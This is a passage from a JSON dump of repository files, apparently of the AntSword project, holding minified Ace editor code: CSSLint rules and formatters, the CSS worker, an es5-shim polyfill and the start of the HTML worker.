-99px\",browsers:\"All\",init:function(e,t){function s(){r=!1,i=\"inherit\"}function o(){r&&i!==\"ltr\"&&t.report(\"Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.\",r.line,r.col,n)}var n=this,r,i;e.addListener(\"startrule\",s),e.addListener(\"startfontface\",s),e.addListener(\"property\",function(e){var t=e.property.toString().toLowerCase(),n=e.value;t===\"text-indent\"&&n.parts[0].value<-99?r=e.property:t===\"direction\"&&n.toString()===\"ltr\"&&(i=\"ltr\")}),e.addListener(\"endrule\",o),e.addListener(\"endfontface\",o)}}),CSSLint.addRule({id:\"underscore-property-hack\",name:\"Disallow properties with an underscore prefix\",desc:\"Checks for the underscore property hack (targets IE6)\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property;r.hack===\"_\"&&t.report(\"Property with underscore prefix found.\",e.property.line,e.property.col,n)})}}),CSSLint.addRule({id:\"unique-headings\",name:\"Headings should only be defined once\",desc:\"Headings should be defined only once.\",browsers:\"All\",init:function(e,t){var n=this,r={h1:0,h2:0,h3:0,h4:0,h5:0,h6:0};e.addListener(\"startrule\",function(e){var i=e.selectors,s,o,u,a,f;for(a=0;a<i.length;a++){s=i[a],o=s.parts[s.parts.length-1];if(o.elementName&&/(h[1-6])/i.test(o.elementName.toString())){for(f=0;f<o.modifiers.length;f++)if(o.modifiers[f].type===\"pseudo\"){u=!0;break}u||(r[RegExp.$1]++,r[RegExp.$1]>1&&t.report(\"Heading (\"+o.elementName+\") has already been defined.\",o.line,o.col,n))}}}),e.addListener(\"endstylesheet\",function(){var e,i=[];for(e in r)r.hasOwnProperty(e)&&r[e]>1&&i.push(r[e]+\" \"+e+\"s\");i.length&&t.rollupWarn(\"You have \"+i.join(\", \")+\" defined in this stylesheet.\",n)})}}),CSSLint.addRule({id:\"universal-selector\",name:\"Disallow universal selector\",desc:\"The universal selector (*) is known to be slow.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(e){var r=e.selectors,i,s,o;for(o=0;o<r.length;o++)i=r[o],s=i.parts[i.parts.length-1],s.elementName===\"*\"&&t.report(n.desc,s.line,s.col,n)})}}),CSSLint.addRule({id:\"unqualified-attributes\",name:\"Disallow unqualified attribute selectors\",desc:\"Unqualified attribute selectors are known to be slow.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f;for(a=0;a<i.length;a++){s=i[a],o=s.parts[s.parts.length-1];if(o.type===e.SELECTOR_PART_TYPE)for(f=0;f<o.modifiers.length;f++)u=o.modifiers[f],u.type===\"attribute\"&&(!o.elementName||o.elementName===\"*\")&&t.report(n.desc,o.line,o.col,n)}})}}),CSSLint.addRule({id:\"vendor-prefix\",name:\"Require standard property with vendor prefix\",desc:\"When using a vendor-prefixed property, make sure to include the standard one.\",browsers:\"All\",init:function(e,t){function o(){r={},i=1}function u(){var e,i,o,u,a,f=[];for(e in r)s[e]&&f.push({actual:e,needed:s[e]});for(i=0,o=f.length;i<o;i++)u=f[i].needed,a=f[i].actual,r[u]?r[u][0].pos<r[a][0].pos&&t.report(\"Standard property '\"+u+\"' should come after vendor-prefixed property '\"+a+\"'.\",r[a][0].name.line,r[a][0].name.col,n):t.report(\"Missing standard property '\"+u+\"' to go along with '\"+a+\"'.\",r[a][0].name.line,r[a][0].name.col,n)}var n=this,r,i,s={\"-webkit-border-radius\":\"border-radius\",\"-webkit-border-top-left-radius\":\"border-top-left-radius\",\"-webkit-border-top-right-radius\":\"border-top-right-radius\",\"-webkit-border-bottom-left-radius\":\"border-bottom-left-radius\",\"-webkit-border-bottom-right-radius\":\"border-bottom-right-radius\",\"-o-border-radius\":\"border-radius\",\"-o-border-top-left-radius\":\"border-top-left-radius\",\"-o-border-top-right-radius\":\"border-top-right-radius\",\"-o-border-bottom-left-radius\":\"border-bottom-left-radius\",\"-o-border-bottom-right-radius\":\"border-bottom-right-radius\",\"-moz-border-radius\":\"border-radius\",\"-moz-border-radius-topleft\":\"border-top-left-radius\",\"-moz-border-radius-topright\":\"border-top-right-radius\",\"-moz-border-radius-bottomleft\":\"border-bottom-left-radius\",\"-moz-border-radius-bottomright\":\"border-bottom-right-radius\",\"-moz-column-count\":\"column-count\",\"-webkit-column-count\":\"column-count\",\"-moz-column-gap\":\"column-gap\",\"-webkit-column-gap\":\"column-gap\",\"-moz-column-rule\":\"column-rule\",\"-webkit-column-rule\":\"column-rule\",\"-moz-column-rule-style\":\"column-rule-style\",\"-webkit-column-rule-style\":\"column-rule-style\",\"-moz-column-rule-color\":\"column-rule-color\",\"-webkit-column-rule-color\":\"column-rule-color\",\"-moz-column-rule-width\":\"column-rule-width\",\"-webkit-column-rule-width\":\"column-rule-width\",\"-moz-column-width\":\"column-width\",\"-webkit-column-width\":\"column-width\",\"-webkit-column-span\":\"column-span\",\"-webkit-columns\":\"columns\",\"-moz-box-shadow\":\"box-shadow\",\"-webkit-box-shadow\":\"box-shadow\",\"-moz-transform\":\"transform\",\"-webkit-transform\":\"transform\",\"-o-transform\":\"transform\",\"-ms-transform\":\"transform\",\"-moz-transform-origin\":\"transform-origin\",\"-webkit-transform-origin\":\"transform-origin\",\"-o-transform-origin\":\"transform-origin\",\"-ms-transform-origin\":\"transform-origin\",\"-moz-box-sizing\":\"box-sizing\",\"-webkit-box-sizing\":\"box-sizing\"};e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startpage\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();r[t]||(r[t]=[]),r[t].push({name:e.property,value:e.value,pos:i++})}),e.addListener(\"endrule\",u),e.addListener(\"endfontface\",u),e.addListener(\"endpage\",u),e.addListener(\"endpagemargin\",u),e.addListener(\"endkeyframerule\",u)}}),CSSLint.addRule({id:\"zero-units\",name:\"Disallow units for 0 values\",desc:\"You don't need to specify units when a value is 0.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.value.parts,i=0,s=r.length;while(i<s)(r[i].units||r[i].type===\"percentage\")&&r[i].value===0&&r[i].type!==\"time\"&&t.report(\"Values of 0 shouldn't have units specified.\",r[i].line,r[i].col,n),i++})}}),function(){var e=function(e){return!e||e.constructor!==String?\"\":e.replace(/[\\\"&><]/g,function(e){switch(e){case'\"':return\"&quot;\";case\"&\":return\"&amp;\";case\"<\":return\"&lt;\";case\">\":return\"&gt;\"}})};CSSLint.addFormatter({id:\"checkstyle-xml\",name:\"Checkstyle XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><checkstyle>'},endFormat:function(){return\"</checkstyle>\"},readError:function(t,n){return'<file name=\"'+e(t)+'\"><error line=\"0\" column=\"0\" severty=\"error\" message=\"'+e(n)+'\"></error></file>'},formatResults:function(t,n){var r=t.messages,i=[],s=function(e){return!!e&&\"name\"in e?\"net.csslint.\"+e.name.replace(/\\s/g,\"\"):\"\"};return r.length>0&&(i.push('<file name=\"'+n+'\">'),CSSLint.Util.forEach(r,function(t){t.rollup||i.push('<error line=\"'+t.line+'\" column=\"'+t.col+'\" severity=\"'+t.type+'\"'+' message=\"'+e(t.message)+'\" source=\"'+s(t.rule)+'\"/>')}),i.push(\"</file>\")),i.join(\"\")}})}(),CSSLint.addFormatter({id:\"compact\",name:\"Compact, 'porcelain' format\",startFormat:function(){return\"\"},endFormat:function(){return\"\"},formatResults:function(e,t,n){var r=e.messages,i=\"\";n=n||{};var s=function(e){return e.charAt(0).toUpperCase()+e.slice(1)};return r.length===0?n.quiet?\"\":t+\": Lint Free!\":(CSSLint.Util.forEach(r,function(e){e.rollup?i+=t+\": \"+s(e.type)+\" - \"+e.message+\"\\n\":i+=t+\": \"+\"line \"+e.line+\", col \"+e.col+\", \"+s(e.type)+\" - \"+e.message+\" (\"+e.rule.id+\")\\n\"}),i)}}),CSSLint.addFormatter({id:\"csslint-xml\",name:\"CSSLint XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><csslint>'},endFormat:function(){return\"</csslint>\"},formatResults:function(e,t){var n=e.messages,r=[],i=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(r.push('<file name=\"'+t+'\">'),CSSLint.Util.forEach(n,function(e){e.rollup?r.push('<issue severity=\"'+e.type+'\" reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>'):r.push('<issue line=\"'+e.line+'\" char=\"'+e.col+'\" severity=\"'+e.type+'\"'+' reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>')}),r.push(\"</file>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"junit-xml\",name:\"JUNIT XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><testsuites>'},endFormat:function(){return\"</testsuites>\"},formatResults:function(e,t){var n=e.messages,r=[],i={error:0,failure:0},s=function(e){return!!e&&\"name\"in e?\"net.csslint.\"+e.name.replace(/\\s/g,\"\"):\"\"},o=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(n.forEach(function(e){var t=e.type===\"warning\"?\"error\":e.type;e.rollup||(r.push('<testcase time=\"0\" name=\"'+s(e.rule)+'\">'),r.push(\"<\"+t+' message=\"'+o(e.message)+'\"><![CDATA['+e.line+\":\"+e.col+\":\"+o(e.evidence)+\"]]></\"+t+\">\"),r.push(\"</testcase>\"),i[t]+=1)}),r.unshift('<testsuite time=\"0\" tests=\"'+n.length+'\" skipped=\"0\" errors=\"'+i.error+'\" failures=\"'+i.failure+'\" package=\"net.csslint\" name=\"'+t+'\">'),r.push(\"</testsuite>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"lint-xml\",name:\"Lint XML format\",startFormat:function(){return'<?xml version=\"1.0\" encoding=\"utf-8\"?><lint>'},endFormat:function(){return\"</lint>\"},formatResults:function(e,t){var n=e.messages,r=[],i=function(e){return!e||e.constructor!==String?\"\":e.replace(/\\\"/g,\"'\").replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")};return n.length>0&&(r.push('<file name=\"'+t+'\">'),CSSLint.Util.forEach(n,function(e){e.rollup?r.push('<issue severity=\"'+e.type+'\" reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>'):r.push('<issue line=\"'+e.line+'\" char=\"'+e.col+'\" severity=\"'+e.type+'\"'+' reason=\"'+i(e.message)+'\" evidence=\"'+i(e.evidence)+'\"/>')}),r.push(\"</file>\")),r.join(\"\")}}),CSSLint.addFormatter({id:\"text\",name:\"Plain Text\",startFormat:function(){return\"\"},endFormat:function(){return\"\"},formatResults:function(e,t,n){var r=e.messages,i=\"\";n=n||{};if(r.length===0)return n.quiet?\"\":\"\\n\\ncsslint: No errors in \"+t+\".\";i=\"\\n\\ncsslint: There \",r.length===1?i+=\"is 1 problem\":i+=\"are \"+r.length+\" problems\",i+=\" in \"+t+\".\";var s=t.lastIndexOf(\"/\"),o=t;return s===-1&&(s=t.lastIndexOf(\"\\\\\")),s>-1&&(o=t.substring(s+1)),CSSLint.Util.forEach(r,function(e,t){i=i+\"\\n\\n\"+o,e.rollup?(i+=\"\\n\"+(t+1)+\": \"+e.type,i+=\"\\n\"+e.message):(i+=\"\\n\"+(t+1)+\": \"+e.type+\" at line \"+e.line+\", col \"+e.col,i+=\"\\n\"+e.message,i+=\"\\n\"+e.evidence)}),i}}),module.exports.CSSLint=CSSLint}),ace.define(\"ace/mode/css_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/css/csslint\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./css/csslint\").CSSLint,u=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.ruleset=null,this.setDisabledRules(\"ids|order-alphabetical\"),this.setInfoRules(\"adjoining-classes|qualified-headings|zero-units|gradients|import|outline-none|vendor-prefix\")};r.inherits(u,s),function(){this.setInfoRules=function(e){typeof e==\"string\"&&(e=e.split(\"|\")),this.infoRules=i.arrayToMap(e),this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.setDisabledRules=function(e){if(!e)this.ruleset=null;else{typeof e==\"string\"&&(e=e.split(\"|\"));var t={};o.getRules().forEach(function(e){t[e.id]=!0}),e.forEach(function(e){delete t[e]}),this.ruleset=t}this.doc.getValue()&&this.deferredUpdate.schedule(100)},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return this.sender.emit(\"annotate\",[]);var t=this.infoRules,n=o.verify(e,this.ruleset);this.sender.emit(\"annotate\",n.messages.map(function(e){return{row:e.line-1,column:e.col-1,text:e.message,type:t[e.rule.id]?\"info\":e.type,rule:e.rule.name}}))}}.call(u.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-html.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof 